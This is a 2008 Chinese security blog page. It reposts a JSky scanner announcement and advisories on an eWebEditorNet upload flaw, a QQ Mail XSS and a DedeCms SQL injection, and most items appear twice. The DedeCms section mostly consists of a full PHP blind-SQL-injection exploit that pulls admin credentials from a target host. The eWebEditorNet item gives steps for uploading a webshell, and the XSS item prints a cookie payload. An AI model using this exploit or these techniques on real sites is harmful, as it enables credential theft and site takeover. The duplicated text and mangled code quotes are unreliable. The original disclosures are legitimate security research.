JSky beta版本发布(针对所有互联网用户)
[ 2008/09/17 13:05 | by selboo ]
from:http://www.nosec.org/web/node/162
非常高兴的宣布JSky这一完全免费的Web应用漏洞扫描软件终于进入beta版本了。此时对所有互联网的朋友开放使用。下载请到http://www.nosec.org/web/jsky
很感谢在alpha版本中提出了宝贵意见的朋友,不管是马甲也好、NOSEC的FANS也好,从大家对JSky的关注情况来看确实令我感到万分的欣慰。本次beta版本除了解决了alpha版本中朋友反馈的一些问题以外,也添加和完善一些功能。希望大家喜欢,enjoy it.
现在的JSky从安全扫描的功能方面来说已经很完善了(这里的用户是指自用型,非提供服务型),包括如下一些功能:
向导式的全自动化扫描Web漏洞
快速的Spider和漏洞扫描引擎
自定义漏洞扫描启用策略
全面的参数配置信息,满足不同场景测试
动态统计数据显示
扫描结果查看,数据分析
扫描结果导出
集成Pangolin渗透测试(在注入的页面上点击右键,选择Pen-test this vulnerability)
……
目前JSky的Personal版本不提供如下一些针对企业级用户以及提供评估服务用户的功能:
保存项目打开后继续扫描
帮助文档
结果报告导出
企业级应用模块
全面的渗透测试功能
自定义漏洞扫描
漏洞扫描模块开发的SDK
非常高兴的宣布JSky这一完全免费的Web应用漏洞扫描软件终于进入beta版本了。此时对所有互联网的朋友开放使用。下载请到http://www.nosec.org/web/jsky
很感谢在alpha版本中提出了宝贵意见的朋友,不管是马甲也好、NOSEC的FANS也好,从大家对JSky的关注情况来看确实令我感到万分的欣慰。本次beta版本除了解决了alpha版本中朋友反馈的一些问题以外,也添加和完善一些功能。希望大家喜欢,enjoy it.
现在的JSky从安全扫描的功能方面来说已经很完善了(这里的用户是指自用型,非提供服务型),包括如下一些功能:
向导式的全自动化扫描Web漏洞
快速的Spider和漏洞扫描引擎
自定义漏洞扫描启用策略
全面的参数配置信息,满足不同场景测试
动态统计数据显示
扫描结果查看,数据分析
扫描结果导出
集成Pangolin渗透测试(在注入的页面上点击右键,选择Pen-test this vulnerability)
……
目前JSky的Personal版本不提供如下一些针对企业级用户以及提供评估服务用户的功能:
保存项目打开后继续扫描
帮助文档
结果报告导出
企业级应用模块
全面的渗透测试功能
自定义漏洞扫描
漏洞扫描模块开发的SDK
eWebEditorNet 漏洞 upload.aspx
[ 2008/09/03 10:32 | by selboo ]
来源:坏狼安全网
eWebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
原理:
代码
<form id="post" encType="server">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
只是简单的对ID进行验证,只要构造javascript:lbtnUpload.click();满足条件达到上传木马的效果。成功以后查看源代码
代码
a "lbtnUpload" "javascript:__doPostBack('lbtnUpload','')"</>script 'javascript'</>
木马的具体地址为
/eWebEditorNet/UploadFile/200801141044412198.cer
这样就轻松的拿下了一个网站。
QQ 邮箱跨站脚本漏洞
[ 2008/08/27 10:35 | by selboo ]
漏洞说明:QQ Mail是Tencent公司提供的webmail服务,你可以使用你的QQ帐户来登陆使用Mail服务,具体的信息可以访问http://mail.qq.com/。但是80sec在QQ Mail里发现存在新的严重跨站脚本漏洞,恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份,或者使用ajax等技术读取用户的敏感信息,任何浏览该邮件的用户都存在身份泄漏的风险。
漏洞成因:QQ Mail的Filter在解析Html标签时存在错误,构造畸形的Html标签将绕过过滤,从而在邮件正文里执行任意javascript。QQ Mail对这种类型的标签不做任何过滤,认为是无效html标识符而不做过滤,但是IE却可以正常解析该Html,所以构造如下的畸形Html邮件。
Hello,80sec </xss style="x:expression(alert(document.cookie))">
将触发Xss漏洞。
漏洞测试:发送如下Html:
Hello,80sec </xss style="x:expression(alert(document.cookie))">
漏洞状态:
80sec于 2008.8.14发现此漏洞
80sec于 2008.8.14通知官方
官方于 2008.8.26日修复[同时修复几个其他类型的XSS]
本站内容均为原创,转载请务必保留署名与链接!
QQ Mail跨站脚本漏洞:http://www.80sec.com/qqmail-new-xss.html
eWebEditorNet的upload.aspx漏洞
[ 2008/08/18 14:07 | by selboo ]
eWebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
原理:
代码
<form id="post" encType="server">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
只是简单的对ID进行验证
只要构造javascript:lbtnUpload.click();满足条件
达到上传木马的效果
成功以后查看源代码
代码
a "lbtnUpload" "javascript:__doPostBack('lbtnUpload','')"</>script 'javascript'</>
木马的具体地址为
/eWebEditorNet/UploadFile/200801141044412198.cer
这样就轻松的拿下了一个网站。
DeDeCmS注射漏洞
[ 2008/08/13 11:00 | by selboo ]
漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从 DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。
漏洞厂商:http://www.dedecms.com
漏洞来源:http://www.80sec.com/release/dedecms-sql-injection.txt
漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询
//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询
漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档):
<?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}
/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;
/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}
/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;
/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>
dedecms注射漏洞:http://www.80sec.com/dedecms-sql-injection.html